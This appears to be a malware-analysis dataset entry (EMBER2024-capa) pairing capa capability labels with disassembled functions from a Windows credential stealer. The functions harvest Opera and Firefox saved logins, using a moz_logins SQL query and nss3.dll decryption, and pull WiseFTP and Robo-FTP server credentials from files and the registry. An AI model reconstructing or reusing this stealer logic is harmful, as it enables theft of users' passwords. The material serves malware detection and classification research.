joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408814
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x408833
cmp byte [eax], 0
jne 0x408838
jmp 0x408941
push str..
push dword [ebp + 0xc]
call fcn.00401cfd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004017eb
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x408941
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x40891c
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414eb7
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4088a7
jmp 0x40891c
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414eb9
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4088c1
jmp 0x40891c
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push dword [ebp - 0x14c]
push eax
call fcn.00401d51
mov dword [ebp - 0x150], eax
push eax
push str.opera
push dword [ebp - 0x150]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x408917
push str.wand.dat
push dword [ebp - 0x150]
push dword [ebp + 8]
call fcn.00408690
call fcn.004017bd
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x40887b
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004017bd
leave
ret 8

Function at 0x408a4d
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408b38
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408aa2
jmp 0x408b30
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push 0x415cf0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x408b01
push 0xbeef0001
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00403d72
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408a4d
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x408a74
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408b3c
Capabilities:
Gather wise-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408c7a
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408b91
jmp 0x408c72
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push dword [ebp - 0x814]
call fcn.00402330
or eax, eax
je 0x408c43
push eax
mov dword [ebp - 0x818], eax
push dword [ebp - 0x818]
call fcn.00401e83
or eax, eax
je 0x408c3e
push 0xbeef0002
push str.wiseftpsrvs.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404080
push 0xbeef0002
push str.wiseftp.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404080
push 0xbeef0000
push str.wiseftpsrvs.bin
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00404080
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408b3c
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x408b63
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x408d90
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov dword [0x415f67], 0
sub ebx, ebx
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
mov edx, dword [ebp + 8]
cmp eax, 2
jbe 0x408dc1
add edx, eax
sub edx, 2
cmp word [edx], 0x5c5c
jne 0x408dc1
mov word [edx], 0x5c
push dword [ebp + 0xc]
call sub.kernel32.dll_SetCurrentDirectoryA
push 0x415e4c
push str.nss3.dll
call fcn.004023db
or eax, eax
je 0x408e41
push dword [ebp + 8]
call dword [0x415e4c]
add esp, 4
or eax, eax
jne 0x408e41
call dword [0x415e5c]
mov dword [0x415f67], eax
cmp dword [0x415f67], 0
jne 0x408e08
call dword [0x415e50]
jmp 0x408e41
push 0
push 1
push dword [0x415f67]
call dword [0x415e60]
add esp, 0xc
or eax, eax
je 0x408e40
push dword [0x415f67]
call dword [0x415e68]
add esp, 4
call dword [0x415e50]
mov dword [0x415f67], 0
jmp 0x408e41
inc ebx
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x408f9a
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0xc]
call fcn.00401e3b
or eax, eax
jne 0x408fb0
leave
ret 0x10
push dword [ebp + 0xc]
call fcn.00403e6e
or eax, eax
je 0x408fc0
leave
ret 0x10
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00408d90
or eax, eax
jne 0x408fd3
leave
ret 0x10
push 0x415f4b
push str.mozsqlite3.dll
call fcn.004023db
or eax, eax
jne 0x408ff5
push 0x415f4b
push str.sqlite3.dll
call fcn.004023db
or eax, eax
je 0x4091c2
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [0x415f4b]
add esp, 8
or eax, eax
jne 0x4091c2
push 0
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push str.SELECT_hostname__encryptedUsername__encryptedPassword_FROM_moz_logins
push dword [ebp - 4]
call dword [0x415f53]
add esp, 0x14
or eax, eax
jne 0x4091b6
push dword [ebp - 8]
call dword [0x415f57]
add esp, 4
cmp eax, 0x64
je 0x40904c
jmp 0x4091b6
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp - 8]
call fcn.00408f6e
or eax, eax
je 0x4091b1
cmp dword [ebp - 0xc], 0
je 0x4091b1
cmp byte [eax], 0
je 0x4091b1
push eax
mov edx, dword [ebp - 0xc]
inc edx
push edx
call fcn.004017d4
pop edx
mov dword [ebp - 0x18], eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
push edx
call fcn.0040180b
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [0x415f63], 0
jne 0x4090f9
push 0x416059
call sub.kernel32.dll_lstrlenA
push eax
push 0x416059
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x4090db
push str.http:__
call sub.kernel32.dll_lstrlenA
push eax
push str.http:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x409127
push str.https:__
call sub.kernel32.dll_lstrlenA
push eax
push str.https:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x409127
cmp dword [0x415f63], 1
jne 0x40911c
push str.ftp.
call sub.kernel32.dll_lstrlenA
push eax
push str.ftp.
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x409127
cmp dword [0x415f63], 2
jne 0x409127
sub eax, eax
or eax, eax
jne 0x409199
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 8]
call fcn.00408f6e
push dword [ebp - 0xc]
push eax
call fcn.00408e71
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push 2
push dword [ebp - 8]
call fcn.00408f6e
push dword [ebp - 0xc]
push eax
call fcn.00408e71
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 0
je 0x409199
cmp dword [ebp - 0x14], 0
je 0x409199
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x18]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x10]
call fcn.004017bd
push dword [ebp - 0x14]
call fcn.004017bd
push dword [ebp - 0x18]
call fcn.004017bd
jmp 0x409036
push dword [ebp - 4]
call dword [0x415f4f]
add esp, 4
call fcn.00408e48
leave
ret 0x10
Function at 0x409561
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0x14]
or eax, eax
je 0x409580
cmp byte [eax], 0
jne 0x409585
jmp 0x4097c9
push dword [ebp + 0x14]
call fcn.004024ae
or eax, eax
jne 0x4095a0
push str..
push dword [ebp + 0x14]
call fcn.00401cfd
jmp 0x4095ad
push 0x414ec1
push dword [ebp + 0x14]
call fcn.00401cfd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004017eb
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4097c9
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x409678
lea eax, [edx + 0x2c]
push eax
push 0x414eb7
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x40960c
jmp 0x4097a4
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414eb9
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x409629
jmp 0x4097a4
push dword [ebp + 0x14]
call fcn.004024ae
or eax, eax
jne 0x409644
push 0x414814
push dword [ebp + 0x14]
call fcn.00401cfd
jmp 0x40964e
push 0
push dword [ebp + 0x14]
call fcn.00401cfd
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d51
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409561
call fcn.004017bd
jmp 0x4097a4
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [0x415f63], 3
jne 0x4096d0
push str.prefs.js
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4096cb
push 0x414814
push dword [ebp + 0x14]
call fcn.00401cfd
push dword [ebp - 0x14c]
push eax
call fcn.00401d51
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403d9b
call fcn.004017bd
jmp 0x4097a4
push str.signons.sqlite
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x409712
push 0x414814
push dword [ebp + 0x14]
call fcn.00401cfd
push dword [ebp - 0x14c]
push eax
call fcn.00401d51
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00408f9a
call fcn.004017bd
push dword [ebp - 0x14c]
call sub.kernel32.dll_lstrlenA
cmp eax, 2
jb 0x409736
mov edx, dword [ebp - 0x14c]
add edx, eax
sub edx, 2
cmp word [edx], 0x732e
jne 0x409736
jmp 0x409776
push str.signons.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons2.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons3.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
pop edx
pop ecx
or eax, eax
jne 0x409776
or edx, edx
jne 0x409776
or ecx, ecx
je 0x4097a4
push 0x414814
push dword [ebp + 0x14]
call fcn.00401cfd
push dword [ebp - 0x14c]
push eax
call fcn.00401d51
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00409207
call fcn.004017bd
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x4095e3
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004017bd
leave
ret 0x10
Function at 0x4097f0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push edi
push dword [ebp + 0xc]
call fcn.00401e83
or eax, eax
jne 0x409808
pop edi
leave
ret 0xc
push dword [ebp + 0x10]
call fcn.00401e83
or eax, eax
jne 0x409819
pop edi
leave
ret 0xc
push dword [ebp + 0xc]
call fcn.004024ae
or eax, eax
jne 0x409834
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
jmp 0x40983e
push 0
push dword [ebp + 0xc]
call fcn.00401cfd
mov dword [ebp - 0xc], eax
push str.profiles.ini
push dword [ebp - 0xc]
call fcn.00401cfd
mov dword [ebp - 8], eax
push 0xfdea
call fcn.004017d4
mov dword [ebp - 4], eax
push 0x1000
call fcn.004017d4
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
call fcn.00401e3b
or eax, eax
je 0x409938
push dword [ebp - 8]
push 0xfde8
push dword [ebp - 4]
call sub.kernel32.dll_GetPrivateProfileSectionNamesA
cmp eax, 2
jbe 0x409938
mov edi, dword [ebp - 4]
cmp byte [edi], 0
je 0x409938
push str.Profile
push edi
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x409926
push dword [ebp - 8]
push 0xfff
push dword [ebp - 0x10]
push 0x414816
push 0x415f8b
push edi
call sub.kernel32.dll_GetPrivateProfileStringA
or eax, eax
je 0x409926
push dword [ebp - 8]
push 1
push str.IsRelative
push edi
call sub.kernel32.dll_GetPrivateProfileIntA
cmp eax, 1
jne 0x409918
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.00401cfd
push eax
mov edx, eax
jmp 0x4098fc
cmp byte [edx], 0x2f
jne 0x4098fb
mov byte [edx], 0x5c
inc edx
or edx, edx
je 0x409905
cmp byte [edx], 0
jne 0x4098f3
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.004097d8
call fcn.004017bd
jmp 0x409926
push dword [ebp + 0x10]
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.004097d8
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x4098a0
push dword [ebp - 0xc]
call fcn.004017bd
push dword [ebp - 0x10]
call fcn.004017bd
push dword [ebp - 8]
call fcn.004017bd
push dword [ebp - 4]
call fcn.004017bd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004097d8
pop edi
leave
ret 0xc
Function at 0x40996b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4099d7
push 0
push str.PathToExe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401c76
or eax, eax
je 0x4099d7
push eax
push eax
call fcn.00402330
or eax, eax
je 0x4099d2
mov dword [ebp - 0x18], eax
push 0x1a
call fcn.00401db6
or eax, eax
je 0x4099ca
push dword [ebp + 0x18]
push eax
call fcn.00401d51
push eax
push dword [ebp - 0x18]
push eax
push dword [ebp + 8]
call fcn.004097f0
call fcn.004017bd
push dword [ebp - 0x18]
call fcn.004017bd
call fcn.004017bd
push 0x800
call fcn.004017d4
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x409a67
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x409a25
jmp 0x409a5f
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push dword [ebp - 8]
push eax
call fcn.00401d51
mov dword [ebp - 0x14], eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp - 0x14]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040996b
push dword [ebp - 0x14]
call fcn.004017bd
inc dword [ebp - 0x10]
jmp 0x4099fe
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 8]
call fcn.004017bd
leave
ret 0x14

Function at 0x40ac06
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40ad3d
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40ac5e
jmp 0x40ad35
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x818], eax
call fcn.004017bd
lea eax, [ebp - 0x10]
push eax
push str.SiteServers
push dword [ebp - 0x818]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40ad09
cmp dword [ebp - 0x10], 4
jne 0x40acfe
mov eax, dword [ebp - 0x814]
push dword [eax]
pop dword [ebp - 0x814]
cmp dword [ebp - 0x814], 0x3e8
jbe 0x40acd9
mov dword [ebp - 0x814], 0x3e8
jmp 0x40acf5
dec dword [ebp - 0x814]
push dword [ebp - 0x814]
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040a96d
cmp dword [ebp - 0x814], 0
jne 0x40acdb
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040ac06
push dword [ebp - 0x818]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40ac30
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40cda1
Capabilities:
Gather robo-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40cff6
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40cdf6
jmp 0x40cfee
push 0x414814
push dword [ebp + 0x10]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x814], eax
call fcn.004017bd
lea eax, [ebp - 0xc]
push eax
push 0x41674a
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x828], eax
push 0
push str.ServerName
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push 0x41675e
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x82c]
push eax
push 0x416776
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c76
or eax, eax
je 0x40cea8
cmp dword [ebp - 0x82c], 4
jne 0x40cea8
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.004017bd
jmp 0x40cebc
or eax, eax
je 0x40ceb2
push eax
call fcn.004017bd
mov dword [ebp - 0x820], 0x15
push 0
push str.InitialDirectory
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x824], eax
push 0
push str.ServerType
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c76
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x828], 0
je 0x40cf93
push 0x41678c
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x828]
call fcn.0040410b
or eax, eax
je 0x40cf93
cmp dword [ebp - 0xc], 0
je 0x40cf93
cmp dword [ebp - 0x81c], 0
je 0x40cf93
cmp dword [ebp - 0x818], 0
je 0x40cf93
push 0xbeef0010
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0xc]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.004014a4
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x830]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x828]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x824]
call fcn.004017bd
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x830]
call fcn.004017bd
push dword [ebp - 0x814]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040cda1
push dword [ebp - 0x814]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40cdc8
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40cffa
Capabilities:
Gather robo-ftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push str.FTP_Count
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401c76
or eax, eax
je 0x40d085
push eax
cmp dword [ebp - 4], 4
jne 0x40d080
push dword [eax]
pop dword [ebp - 8]
cmp dword [ebp - 8], 0x1f4
jbe 0x40d036
mov dword [ebp - 8], 0x1f4
jmp 0x40d07a
push dword [ebp - 8]
push str.FTP_File_d
lea eax, [ebp - 0x1c]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0
lea eax, [ebp - 0x1c]
push eax
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401c76
or eax, eax
je 0x40d077
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403d9b
call fcn.004017bd
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x40d038
call fcn.004017bd
leave
ret 8

Function at 0x40d2ef
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d4c1
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d347
jmp 0x40d4b9
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x824], eax
call fcn.004017bd
push 0
push str.Host
push dword [ebp - 0x824]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x810], eax
push 0
push str.User
push dword [ebp - 0x824]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push str.Pass
push dword [ebp - 0x824]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push 0x4167ec
push dword [ebp - 0x824]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push str.Remote_Dir
push dword [ebp - 0x824]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x814], 0
je 0x40d461
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.0040d2ef
push dword [ebp - 0x824]
call fcn.004017bd
push dword [ebp - 0x810]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x40d319
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8